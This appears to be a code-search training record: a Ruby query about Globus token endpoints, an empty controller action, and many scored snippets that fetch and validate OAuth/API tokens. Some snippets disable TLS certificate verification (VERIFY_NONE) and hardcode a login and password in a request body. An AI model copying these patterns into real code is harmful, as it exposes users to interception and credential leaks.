e\n\t\tprint_status(\"Error Getting Tokens: #{e.class} #{e}\")\n\tend\n\tdt\n\nend", "def get_token(username, password, params = {}, opts = {})\n params = {'grant_type' => 'password',\n 'username' => username,\n 'password' => password}.merge(params)\n @client.get_token(params, opts)\n end", "def token\n _response_word.fetch(\"token\", nil)\n end", "def show\n if User.find_by_authentication_token(params[:Token])\n @user = User.find_by_authentication_token(params[:Token])\n batsd_log_success\n elsif !params[:Token]\n batsd_log_error(:type => :auth)\n respond_error(\"No token supplied.\")\n else\n batsd_log_error(:type => :auth)\n respond_error(\"Invalid API key.\")\n end \n end", "def refresh_tokens\n response = get(path: 'tokens')[\"data\"]\n token_array = response || {}\n tokens = {}\n token_array.each do |t|\n tokens[t.keys.first] = t.values.first\n end\n @tokens = tokens\n return tokens\n end", "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend", "def get_token\n with_monitoring do\n conn = Faraday.new(\n \"#{Settings.veteran_readiness_and_employment.auth_endpoint}?grant_type=client_credentials\",\n headers: { 'Authorization' => \"Basic #{Settings.veteran_readiness_and_employment.credentials}\" }\n )\n\n request = conn.post\n JSON.parse(request.body)['access_token']\n end\n end", "def token\n configuration.token\n end", "def get_token\n if params.has_key?(:token) && params[:token] != ''\n return params[:token]\n end\n return nil if !request || !request.headers\n token_response = request.headers['Authorization']\n return nil if !token_response\n token_response[/^Token (.*)/,1]\n end", "def index\n\n if(params[:token].nil?)\n response.status = 400\n render json: {msg: \"Token is not defined\"}\n return\n end\n\n session = validate_session(params[:token])\n\n if session.nil?\n response.status = 401\n render json: {}\n return\n end\n\n obj = User.all\n\n if obj.empty?\n response.status = 404\n render json: {}\n else\n response.status = 200\n render json: obj\n end\n\n end", "def get(url)\n raise OAuthUnauthorized if !access_token\n access_token.get(url)\n end", "def get(url)\n raise OAuthUnauthorized if !access_token\n access_token.get(url)\n end", "def get_token(params = {}, opts = {})\n hash = build_request(params)\n @client.get_token(hash, opts.merge('refresh_token' => nil))\n end" ]
[ "0.6974814", "0.6847502", "0.6754333", "0.6610012", "0.65099204", "0.6381121", "0.63664776", "0.63149947", "0.62482715", "0.6238951", "0.6189851", "0.61524683", "0.61365527", "0.6085065", "0.60632163", "0.60580367", "0.6039212", "0.602846", "0.6002313", "0.5984759", "0.5894063", "0.5873935", "0.58534396", "0.58445513", "0.5843903", "0.5834067", "0.5831959", "0.58303624", "0.58232564", "0.57759553", "0.5774297", "0.57686037", "0.57677275", "0.5764171", "0.5762803", "0.5756778", "0.5742254", "0.57402056", "0.5732384", "0.5729435", "0.5727064", "0.5727064", "0.5717917", "0.57164043", "0.57157224", "0.5708161", "0.5700833", "0.5699292", "0.5698504", "0.569849", "0.56969553", "0.5689337", "0.5664336", "0.56504524", "0.5650151", "0.5647421", "0.56412095", "0.5632993", "0.56278634", "0.5623243", "0.5615979", "0.56148165", "0.56086385", "0.5605407", "0.5587583", "0.55853426", "0.5584863", "0.5583854", "0.55833936", "0.55769277", "0.5568531", "0.55660206", "0.5564788", "0.5560917", "0.5554632", "0.55539787", "0.5553892", "0.5539705", "0.5528815", "0.5527324", "0.55259913", "0.5524218", "0.55200857", "0.5518415", "0.55150163", "0.55139506", "0.55131906", "0.5511671", "0.5511316", "0.5510513", "0.55095977", "0.5504724", "0.550051", "0.54969686", "0.5496339", "0.54902405", "0.5483079", "0.547534", "0.547534", "0.5472235" ]
0.70435613
0
GET /globus_tokens/1 or /globus_tokens/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def token\n @api.get(\"#{Paths::TOKENS}\")\n end", "def index\n @globus_tokens = GlobusToken.all\n end", "def get_token\n get(TOKEN_URL)\n end", "def fetchTokens\n self.class.request.get \"#{id}/tokens\" \n end", "def fetch_token\n response = RestClient.get \"https://#{Autoscout24Client.config[:username]}:#{Autoscout24Client.config[:password]}@sts.idm.telekom.com/rest-v1/tokens/odg\", {:accept => :json}\n JSON.parse(response)[\"token\"]\n end", "def gettoken(url,username,password,tenant)\n url1 = \"#{url}/identity/api/tokens\"\n uri = URI.parse(url1)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request.body = JSON.dump({\n \"username\" => username,\n \"password\" => password,\n \"tenant\" => tenant\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n token_output = response.body\n token_json = JSON.parse(token_output)\n vra_token = token_json[\"id\"]\n return vra_token\n end", "def index \n @tokens = @user.tokens\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tokens }\n end\n end", "def get(*args)\n token.get(*args)\n end", "def rest_token_endpoint; end", "def get_token(url)\n req = Net::HTTP::Post.new('/', initheader = {'Content-Type' => 'application/json'})\n req.body = {url: url, format: 'json'}.to_json\n res = @http.request(req)\n data = JSON::parse(res.body)\n data['trunct']['token']\n end", "def index\n # This should possibly get the latest user's token if has user and user has many tokens.\n respond_to do |format|\n format.json { render json: {success: true, authentication: @api_token.to_api}, callback: params[:callback] }\n end\n end", "def fetch_access_token\n JSON.parse(File.read('/opt/gluu-server/etc/certs/api_token.json'))['token']\n end", "def api_token\n client.get(\"/user/api_token\").fetch(\"result\")\n end", "def tokens_path\n @tokens_path || \"/requests/tokens/\"\n end", "def get(url)\n login unless token\n response = client.request(request(url, token))\n end", "def index\n @tokens = Token.all\n\n render json: @tokens\n end", "def get_token(params={})\n client.post( GET_TOKEN_URL, body: parse_request_body(params) )\n end", "def get_token_response(url)\n JSON.parse(access_token.get(\"/#{api_version}#{url}\").body)\n end", "def token(request)\n end", "def get_tokens(options = {})\n submit GetTokens.new(options)\n end", "def token_uri; end", "def get_token\n request.headers[\"Authorization\"]\n end", "def set_globus_token\n @globus_token = GlobusToken.find(params[:id])\n end", "def get_token\n token_data = vault_read('littlered.stanford.edu', 'netdb-token')\n credentials = JSON.parse(token_data)\n encoded = Base64.urlsafe_encode64(\"#{credentials['client_id']}:#{credentials['client_secret']}\")\n headers = { Authorization: \"Basic #{encoded}\" }\n query = { grant_type: credentials['grant_type'] }\n response = HTTParty.post(credentials['token_endpoint'],\n :headers => headers,\n :query => query\n )\n raise \"Bad response to getting token: #{response.body}\" if response.code != 200\n\n response_json = JSON.parse(response.body)\n response_json['access_token']\nend", "def get(resource:, version: :v1)\n http = http_handle(version: version)\n\n req = Net::HTTP::Get.new(uri_path_for(resource: resource, version: version))\n SET_REQUEST_AUTH_TOKEN.call(req)\n\n handle_response(http.request(req))\n end", "def tokeninfo(token)\n $client.authorization.update_token!(token)\n oauth2 = $client.discovered_api('oauth2','v2')\n\n puts $client.execute(oauth2.tokeninfo, token).response.body\nend", "def show\n @token = Token.find(params[:id])\n\n render json: @token\n end", "def token\n session = Session.find_by(id: params[:id])\n token = @@opentok.generate_token(session.session_id)\n render :json => { OtToken: token }\n end", "def http_get_token\n #verifico che stia arrivando un jwt con formato valido,altrimenti ritorno false\n if params['jwt'].present? && !(params['jwt'] =~ /^[A-Za-z0-9\\-_=]+\\.[A-Za-z0-9\\-_=]+\\.?[A-Za-z0-9\\-_.+=]*$/).nil?\n @http_get_token ||= params['jwt']\n else\n false\n end\n \n end", "def show\n render json: @token\n end", "def retrieve_token\n puts \"Picking up new token.\"\n parsed_json = {}\n until parsed_json[\"access_token\"]\n results = `curl -X -vvv -d 'client_id=MY_CLIENT_KEY&client_secret=MY_CLIENT_SECRET&grant_type=client_credentials' -X POST 'https://connect.gettyimages.com/oauth2/token/'`\n parsed_json = JSON.parse results\n end\n @token = parsed_json[\"access_token\"]\n end", "def api_call(path)\n uri = URI(\"#{BASE}/api/#{path}?authorization_username=#{USER}\")\n req = Net::HTTP::Get.new(uri)\n req['Authorization'] = \"Bearer #{TOKEN}\"\n\n res = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|\n http.request(req)\n end\n\n unless res.is_a?(Net::HTTPSuccess)\n puts res.inspect\n exit\n end\n\n return JSON.parse(res.body)\nend", "def index\n auth_response = plaid_client.auth.get(access_token)\n render json: auth_response.to_json\n end", "def token\n item = read\n return item['token'] if item['token']\n token_reset\n read['token']\n end", "def get(path, params={}, args={})\n inject_token_auth_headers!(args)\n response = self.class.get(request_url(path, params), args)\n update_token_auth_headers(response)\n return response\n end", "def check_token(token)\n params = \"token=#{token}&md5=#{Ivona::GetMd5.formula(token)}\"\n HTTParty.get(\"#{BASE_URL}/tokens?#{params}\")\n end", "def get_token\n with_monitoring do\n perform(:post, \"/#{config.base_path}/token\", {}, token_headers)\n end\n end", "def get_token(https, url)\r\njson = <<JSON_FOR_TOKEN\r\n{\r\n\t\"appsrc\": \"iosasdkdemo1\",\r\n \"appsrcv\": \"0.1\",\r\n \"login\": \"yqa_idman54\",\r\n \"passwd\": \"mengxun456\",\r\n \"signals\": {\r\n \"devstate\": \"AQAAAAAAAAAAQAE4Ag--\",\r\n \"mac\": \"ZXhyhATIvjB_MQPbgeJ1PLOywebfJMRTjjLPdt5H.Ek-\",\r\n \"model\": \"P.ewFJn2tghb450BtqBfd4XfQC7rwIaGlpO_Eh2SAiI-\",\r\n \"uniqmobid\": \"AXG0X.IEGWXLeZ8nE9NCx51tdp_2eYt4gd72GB0dg9I-\"\r\n },\r\n \"src\" : \"iosasdk\",\r\n \"srcv\" : \"1.3.0\"\r\n}\r\nJSON_FOR_TOKEN\r\n\r\n\tjsonobj = JSON.parse(json)\r\n\tpost = JSON.generate(jsonobj)\r\n\theaders = {\r\n\t \"User-Agent\" => \"Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",\r\n\t \"Content-Type\" => \"application/json\"\r\n\t}\r\n\r\n\tres = https.post(url.path, post, headers)\r\n\r\n\tresp_body = JSON.parse(res.body)\r\n\ttoken = resp_body['token']\r\n\tif (token)\r\n\t\treturn token\r\n\telse\r\n\t\tp resp_body\r\n\tend\r\nend", "def getTokenForSong(songID, country)\n request('getTokenForSong', {'songID' => songID, 'country' => country})\nend", "def request_token\n @token=current_client_application.create_request_token\n if @token\n render :text=>@token.to_query\n else\n render :nothing => true, :status => 401\n end\n end", "def show\n render :json => @token\n end", "def get_token\n LastFM.get( \"auth.getToken\", {}, :secure )\n end", "def get_token(opts={})\n opts[:params] ||= {}\n opts[:params][:grant_type] = grant_type\n opts[:authenticate] ||= :headers\n method = opts.delete(:method) || :post\n make_request(method, @token_path, opts)\n end", "def token\n end", "def call_introspection_api(token, scopes, subject)\n return call_api(\"/api/auth/introspection\", {\n \"token\" => token,\n \"scopes\" => scopes,\n \"subject\" => subject\n })\nend", "def token\n request.headers[\"Authorization\"]\n end", "def token\n request.headers['Authorization']\n end", "def get(opts = {})\n with_monitoring do\n connection.get(opts[:path]) do |req|\n req.headers = headers.merge('Authorization' => \"Bearer #{opts[:access_token]}\")\n end\n end\n end", "def rest_token_endpoint=(_arg0); end", "def get(path, params = {})\n response = access_token.get(path + '?' + params.to_param, header)\n parse_response(response)\n end", "def fetch_token_details\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'a_s_tm_gtdbs')\n\n # as the above method would return error if token was not found.\n # it is a valid scenario here, this ignoring error\n @token = token_resp.data\n\n success\n\n end", "def request_token\n @token = current_client_application.create_request_token\n if @token\n render :text => @token.to_query\n else\n render :nothing => true, :status => 401\n end\n end", "def get_token(options)\n\t\tmethod = \"GET\"\n\t\tendpoint = \"auditlogtoken\"\n\t\turi = ApiUri::build_uri(endpoint, options)\n\t\treturn @client.request_json(method, uri)\n\tend", "def get_token\n return_code, response = send_command(\"get_token\", api_key)\n return response[\"token\"] if return_code == \"200\"\n raise ArgumentError, response[\"error\"]\n end", "def token\n authenticated\n end", "def get_token(type, page_titles)\n form_data = {'action' => 'query', 'prop' => 'info', 'intoken' => type, 'titles' => page_titles}\n res, dummy = make_api_request(form_data)\n token = res.elements[\"query/pages/page\"].attributes[type + \"token\"]\n raise Unauthorized.new \"User is not permitted to perform this operation: #{type}\" if token.nil?\n token\n end", "def expose_token\n @token = ApiToken.where(code: params[:token]).first\n end", "def get(path, data = {})\n self.class.get path, :query => data.merge(:u => access_token)\n end", "def token\n @data[:token]\n end", "def get(path, query_values = nil)\n url = path_to_url(path, query_values)\n access_token.get(url)\n end", "def get(path, params = {})\n parse_item access_token.get(\"#{@prefix}/#{path}\", params)\n end", "def token\n validate_arguments!\n\n display Turbot::Auth.api_key\n end", "def token_get()\n\t\tputs \"Here is the token \" + @token\n\tend", "def request_json(url)\n JSON.parse(@access_token.get(\"#{SITE}#{url}\").body)\n end", "def token\n _response_word.fetch(\"token\", nil)\n end", "def get_token(params = {}, opts = {})\n hash = build_request(params)\n @client.get_token(hash, opts.merge('refresh_token' => nil))\n end", "def get_token\n response = wrap_response(\n @connection.get(TOKEN_PATH, nil)\n )\n\n response.fmap { |r|\n SftpgoClient::Token.new(r.body)\n }\n end", "def get_token\n if params.has_key?(:token) && params[:token] != ''\n return params[:token]\n end\n return nil if !request || !request.headers\n token_response = request.headers['Authorization']\n return nil if !token_response\n token_response[/^Token (.*)/,1]\n end", "def get_token\n session[:token] if authorized?\n end", "def signed_get_request url\n token=jwt_get_signature url\n HTTParty.get('http://localhost:5000'+url,\n headers:{\n \"Authorization\"=>\"JWT token=\\\"#{token}\\\"\",\n \"Content-Type\"=> \"application/json;charset=utf-8\"\n }\n )\n end", "def show\n registry = Registry.find_by(hostname: params[\"service\"])\n raise RegistryNotHandled if registry.nil?\n\n auth_scope = authorize_scopes(registry)\n\n @token = JwtToken.new(\n account: params[:account],\n service: params[:service],\n scope: auth_scope\n )\n\n logger.tagged(\"jwt_token\", \"claim\") { logger.debug @token.claim }\n respond_with(@token)\n end", "def get_token (params)\n client = OAuth2::Client.new(params[:APP_ID], params[:APP_SECRET], :site => params[:OAUTH_URL])\n\n begin\n token = client.password.get_token(params[:USER_EMAIL], params[:USER_PASSWD], :scope => params[:SCOPE]).token\n rescue => e\n puts \"Error: Can't get oauth token, check credentials for '#{params[:NAME]}'\"\n puts \"#{e.message}\"\n abort \"Aborting script\"\n end\n return token\nend", "def get_token\n # Get the user by email\n user = User.find_by_email(params[:email])\n \n # return unauthorized if the user was not found\n if !user \n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if the user is not authenticated via the authenticate method\n # then return unauthorized\n if !user.authenticate( params[:password] )\n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if our code gets here, we can generate a token and response.\n # JWT's include an expiry, we will expire the token in 24 hours\n token = jwt_encode({user_id: user.id}, 24.hours.from_now)\n render json: {token: token, exp: 24, username: user.email, userId: user.id},\n status: :ok\n \n end", "def get_user_tokens(code)\n request = Typhoeus::Request.new(\n TOKEN_ENDPOINT,\n method: :post,\n body: {\n 'grant_type' => \"authorization_code\",\n 'client_id' => ID,\n 'client_secret' => SECRET,\n 'code' => code\n },\n headers: {\n 'Api-Key' => ID\n })\n request.run\n end", "def request_token\n username = @credentials['username']\n password = @credentials['password']\n # app_name = @credentials['app_name']\n app_name = @credentials['app_name']\n vendor_name = @credentials['vendor_name']\n bus_num = @credentials['bus_num']\n scope = @credentials['scope']\n\n payload_hash = {\n 'grant_type' => 'password',\n 'username' => username,\n 'password' => password,\n 'scope' => scope\n }\n\n # The user name for inContact's API takes the form\n # app_api_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\" + \":\" + \"#{bus_num}\"\n api_app_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\"\n\n puts \"Authorizing... \\n\"\n\n # Specify token URL.\n url = URI('https://api.incontact.com/InContactAuthorizationServer/Token')\n # url = URI('https://api-c71.nice-incontact.com/InContactAuthorizationServer/Token')\n\n # Create connection object\n connection = Net::HTTP.new(url.host, url.port)\n # At *work*:\n # connection = Net::HTTP.new(url.host, url.port, 'asqproxy.vzbi.com', 80)\n # For *Fiddler*\n # connection = Net::HTTP.new(url.host, url.port, '127.0.0.1', 8888)\n\n connection.use_ssl = true\n # Uncomment the following line to tell Ruby to ignore invalid security certs.\n # connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # Create post object\n post = Net::HTTP::Post.new(url)\n\n # OAuth 2 token requests are usually the 'user' + 'pass' base64 encoded\n post.basic_auth(api_app_name, bus_num)\n\n # get the POST post _fileheaders\n # post['Content-Type'] = 'audio/flac'\n post['Content-Type'] = 'application/json; charset=UTF-8'\n post['Accept'] = 'application/json'\n # \"Accept-Encoding\" => \"gzip, deflate, sdch, br\",\n post['Accept-Encoding'] = 'none'\n post['Connection'] = 'keep-alive'\n\n # Prepare the HTTP message body to be posted with the request.\n # Convert the payload_hash hash to a json string.\n payload = payload_hash.to_json\n # It will be the message body (payload) of the HTTP post.\n post.body = payload\n\n # Make the HTTP post request and store the response.\n # The 'begin' & 'rescue' is an aborted attempt to put\n # error/exception handling around the http post\n # *begin*\n # *rescue* StandardError\n # *end*\n response = connection.request(post)\n\n # http_status_code = response.code.to_i\n http_status_code = response.code.strip\n if http_status_code.chr != '2'\n # Show me http status code\n puts \"/n http_status_code: #{http_status_code}\"\n end\n\n if response.is_a?(Net::HTTPSuccess)\n puts \"response is a Net::HTTPSuccess object\"\n # if response is OK then parese it to a Ruby data structure\n access_token_hash = JSON.parse(response.body)\n # access_token = access_token_hash['access_token']\n end\n\n access_token_hash\n end", "def token\n authenticate_with_http_basic do |username, password|\n\n user = User.find_by(username: username)\n if user && user.password == password\n render json: { token: user.token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end", "def get_token(type = 'csrf')\n type = 'csrf' unless TOKEN_TYPES.include?(type)\n\n return @tokens[type] if @tokens.key?(type)\n\n params = {\n action: 'query',\n meta: 'tokens',\n type: type\n }\n\n resp = post(params)\n tokens = resp['query']['tokens']\n token = tokens[\"#{type}token\"]\n @tokens[type] = token\n token\n end", "def token\n\n authenticate_with_http_basic do |email, password|\n user = User.find_by(email: email)\n if user && user.authenticate(password) \n render json: { token: user.api_token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end", "def token\n @token\n end", "def refresh_tokens\n response = get(path: 'tokens')[\"data\"]\n token_array = response || {}\n tokens = {}\n token_array.each do |t|\n tokens[t.keys.first] = t.values.first\n end\n @tokens = tokens\n return tokens\n end", "def obtain_tokens(fqdn, client_id, client_secret, scope, tokens_file)\n read_tokens(tokens_file)\n \n response = RestClient.post \"#{fqdn}/oauth/access_token\", :grant_type => 'client_credentials', :client_id => client_id, :client_secret => client_secret, :scope => scope\n\t\n from_json = JSON.parse(response.to_str)\n @access_token = from_json['access_token']\n @refresh_token = from_json['refresh_token']\n write_tokens(tokens_file)\nend", "def request_token\n request = { query: { code: ENV['GOOGL_CODE'], \n client_id: ENV['GOOGL_CLIENT_ID'], \n client_secret: ENV['GOOGL_CLIENT_SECRET'],\n redirect_uri: ENV['GOOGL_REDIRECT_URI'],\n grant_type: \"authorization_code\" } }\n\n result = self.class.post(\"/oauth2/v3/token\", request)\n\n result.parsed_response\n end", "def get_token(username, password, params = {}, opts = {})\n params = {'grant_type' => 'password',\n 'username' => username,\n 'password' => password}.merge(params)\n @client.get_token(params, opts)\n end", "def token\n @token ||= Rails.cache.fetch('osu_api_token', expires_in: 23.hours) do\n logger.debug(\"Fetching new OAuth2 Token from OSU API : #{@url}\")\n json = post(url_encoded_connection,\n ENV.fetch(OSU_API_OAUTH2_TOKEN),\n client_id: @key,\n client_secret: @secret,\n grant_type: 'client_credentials')\n json['access_token']\n end\n end", "def token\n client.token if client\n end", "def token(token = nil)\n if token.nil?\n return @data[\"access\"][\"token\"][\"id\"] \n else\n get_request(address(\"/tokens/#{token}\"), token())\n end\n end", "def token; config[:token]; end", "def getToken\n @tokens\n end", "def create\n @globus_token = GlobusToken.new(globus_token_params)\n\n respond_to do |format|\n if @globus_token.save\n format.html { redirect_to globus_token_url(@globus_token), notice: \"Globus token was successfully created.\" }\n format.json { render :show, status: :created, location: @globus_token }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @globus_token.errors, status: :unprocessable_entity }\n end\n end\n end", "def token\n authenticate_username_password || render_unauthorized\n end", "def request_token\n json = cli.perform_quietly %Q(curl -u '#{username}:#{password}' -d '{\"scopes\": [\"repo\"], \"notes\": \"Octopolo\"}' https://api.github.com/authorizations)\n self.auth_response = JSON.parse json\n end", "def get_token(code)\n uri = URI.parse(URL[\"oauth_access\"])\n params = { :client_id => CLIENT_ID,\n :client_secret => CLIENT_SECRET,\n :code => code\n }\n uri.query = URI.encode_www_form( params )\n return JSON.parse(uri.open.read)\n end", "def index\n authorize TokenPermissionType\n @user = current_user\n @token_types = @user.org.token_permission_types\n end", "def json_token(cmatch, tstamp, expiration)\n token_url = create_token_url(cmatch, tstamp)\n token_expires = tstamp + expiration\n json :auth => cmatch,\n :timestamp => tstamp,\n :expires => token_expires,\n :token_url => token_url\nend", "def get_tokens\n resource = \"/oauth/access_token\"\n\n begin\n response = @connection.post resource do |request|\n request.params['client_id'] = @api_key\n request.params['client_secret'] = @secret_key\n request.params['grant_type'] = @grant_type\n request.params['scope'] = 'SPEECH,STTC,TTS'\n end\n\n result = process_response(response)\n\n if result[:access_token].nil? || result[:refresh_token].nil?\n raise RuntimeError, \"Unable to complete oauth: #{response[:error]}\"\n else\n @access_token = result[:access_token]\n @refresh_token = result[:refresh_token]\n end\n rescue => e\n raise RuntimeError, e.to_s\n end\n end", "def get_token\n with_monitoring do\n conn = Faraday.new(\n \"#{Settings.veteran_readiness_and_employment.auth_endpoint}?grant_type=client_credentials\",\n headers: { 'Authorization' => \"Basic #{Settings.veteran_readiness_and_employment.credentials}\" }\n )\n\n request = conn.post\n JSON.parse(request.body)['access_token']\n end\n end", "def profile cached_token=token\n uri = URI.parse(\"https://anypoint.mulesoft.com/accounts/api/me\")\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = true\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.add_field(\"Authorization\", \"Bearer #{cached_token}\")\n\n response = client.request(request)\n\n return JSON.parse(response.body)\n end", "def get_json_web_token_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BlueOceanApi.get_json_web_token ...'\n end\n # resource path\n local_var_path = '/jwt-auth/token'\n\n # query parameters\n query_params = {}\n query_params[:'expiryTimeInMins'] = opts[:'expiry_time_in_mins'] if !opts[:'expiry_time_in_mins'].nil?\n query_params[:'maxExpiryTimeInMins'] = opts[:'max_expiry_time_in_mins'] if !opts[:'max_expiry_time_in_mins'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BlueOceanApi#get_json_web_token\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def rest_token_end_point; end", "def token\n authenticate_username_password || render_unauthorized\n end", "def set_token\n\t\tputs \"---------\"\n\t\tresponse = @http.get(\"/gadgets/list?account=#{@account}\",cookie_hash)#needed for the case of new user. The list has to be initialized before it can be accessed.\n\t\tputs \"#{response.code} - #{response.message}: /gadgets/list\"\n\t\tcheck_cookie(response)\n\t\tsleep 2\n\t\tputs \"get token\"\n\t\tresponse2 = @http.get(\"/gadgets/list?context=sidebar&active=true&account=#{@account}\",cookie_hash)\n\t\tputs \"#{response2.code} - #{response2.message}: /gadgets/list?context=sidebar\"\n\t\tcheck_cookie(response2)\n\t\tputs \"---------\"\n\t\tgadgets = JSON.parse(response.body)\n\t\tif response2.code == \"200\"\n\t\t\ttoken = gadgets.first[\"token\"]\n\t\t\t@token = token\n\t\telse\n\t\t\tputs \"get token failed\"\n\t\tend\n\tend" ]
[ "0.6720647", "0.67008835", "0.6578392", "0.6571308", "0.6406819", "0.6325369", "0.63135105", "0.6199053", "0.6193317", "0.6141175", "0.6098541", "0.60184", "0.6016757", "0.60074246", "0.5957491", "0.5955521", "0.5944566", "0.5916635", "0.59123546", "0.5853207", "0.5852234", "0.582436", "0.5822951", "0.5821243", "0.5813403", "0.5808993", "0.57977825", "0.57858944", "0.5785329", "0.5778167", "0.5776344", "0.5758915", "0.57541066", "0.5734343", "0.57314956", "0.5720887", "0.57097715", "0.57061076", "0.5700262", "0.56955653", "0.5692138", "0.5686898", "0.56679344", "0.56661433", "0.5660553", "0.5658243", "0.5658054", "0.5654314", "0.5650043", "0.5629237", "0.562195", "0.5614049", "0.5611225", "0.55980504", "0.5593426", "0.55928797", "0.5580479", "0.55772835", "0.5575512", "0.5574204", "0.55742013", "0.55701727", "0.55660194", "0.5558378", "0.55577266", "0.5553078", "0.55430233", "0.55427015", "0.5517278", "0.5517017", "0.5515323", "0.5502148", "0.5501938", "0.5493808", "0.5485158", "0.54838115", "0.5473432", "0.54638684", "0.5462647", "0.5440811", "0.5431788", "0.5428839", "0.5427367", "0.5425551", "0.54235953", "0.5418286", "0.54174984", "0.5414605", "0.54135174", "0.5405416", "0.5404066", "0.54020196", "0.5400175", "0.5399416", "0.53979236", "0.5395475", "0.5384478", "0.5382119", "0.5380855", "0.5379728", "0.537968" ]
0.0
-1
POST /globus_tokens or /globus_tokens.json
def create @globus_token = GlobusToken.new(globus_token_params) respond_to do |format| if @globus_token.save format.html { redirect_to globus_token_url(@globus_token), notice: "Globus token was successfully created." } format.json { render :show, status: :created, location: @globus_token } else format.html { render :new, status: :unprocessable_entity } format.json { render json: @globus_token.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_token(token)\n puts(token.to_json)\n @api.post(\"#{Paths::TOKENS}\", :body => token)\n end", "def globus_token_params\n params.require(:globus_token).permit(:access_token, :expires_in, :body)\n end", "def token(request)\n end", "def create\n @token = Token.new(params[:token])\n\n if @token.save\n render json: @token, status: :created, location: @token\n else\n render json: @token.errors, status: :unprocessable_entity\n end\n end", "def tokenize\n post(\"token\")[\"token\"]\n end", "def post(body)\n url = @endpoint + token_path\n params = {\n :headers => {'Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'application/json'},\n :url => url,\n :body => body\n }\n\n Connection.new(:post, params).fetch\n end", "def create\n @token = Token.new\n @token.id = SecureRandom.hex[0..7]\n @token.name = token_params.name\n @token.bin = token_params.number[0,6]\n @token.last4 = token_params.number[13,16]\n\n if @token.save\n render json: @token, status: :created, location: @token\n else\n render json: @token.errors, status: :unprocessable_entity\n end\n end", "def create_token\n @user = User.find(params[:id])\n @token = Token.generate(@user)\n\n respond_to do |format|\n if @token.save\n format.html { redirect_to action: 'index'}\n format.json { render :show, status: :created, location: @token }\n else\n format.html { render :new }\n format.json { render json: @token.errors, status: :unprocessable_entity }\n end\n end\n end", "def request_token\n username = @credentials['username']\n password = @credentials['password']\n # app_name = @credentials['app_name']\n app_name = @credentials['app_name']\n vendor_name = @credentials['vendor_name']\n bus_num = @credentials['bus_num']\n scope = @credentials['scope']\n\n payload_hash = {\n 'grant_type' => 'password',\n 'username' => username,\n 'password' => password,\n 'scope' => scope\n }\n\n # The user name for inContact's API takes the form\n # app_api_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\" + \":\" + \"#{bus_num}\"\n api_app_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\"\n\n puts \"Authorizing... \\n\"\n\n # Specify token URL.\n url = URI('https://api.incontact.com/InContactAuthorizationServer/Token')\n # url = URI('https://api-c71.nice-incontact.com/InContactAuthorizationServer/Token')\n\n # Create connection object\n connection = Net::HTTP.new(url.host, url.port)\n # At *work*:\n # connection = Net::HTTP.new(url.host, url.port, 'asqproxy.vzbi.com', 80)\n # For *Fiddler*\n # connection = Net::HTTP.new(url.host, url.port, '127.0.0.1', 8888)\n\n connection.use_ssl = true\n # Uncomment the following line to tell Ruby to ignore invalid security certs.\n # connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # Create post object\n post = Net::HTTP::Post.new(url)\n\n # OAuth 2 token requests are usually the 'user' + 'pass' base64 encoded\n post.basic_auth(api_app_name, bus_num)\n\n # get the POST post _fileheaders\n # post['Content-Type'] = 'audio/flac'\n post['Content-Type'] = 'application/json; charset=UTF-8'\n post['Accept'] = 'application/json'\n # \"Accept-Encoding\" => \"gzip, deflate, sdch, br\",\n post['Accept-Encoding'] = 'none'\n post['Connection'] = 'keep-alive'\n\n # Prepare the HTTP message body to be posted with the request.\n # Convert the payload_hash hash to a json string.\n payload = payload_hash.to_json\n # It will be the message body (payload) of the HTTP post.\n post.body = payload\n\n # Make the HTTP post request and store the response.\n # The 'begin' & 'rescue' is an aborted attempt to put\n # error/exception handling around the http post\n # *begin*\n # *rescue* StandardError\n # *end*\n response = connection.request(post)\n\n # http_status_code = response.code.to_i\n http_status_code = response.code.strip\n if 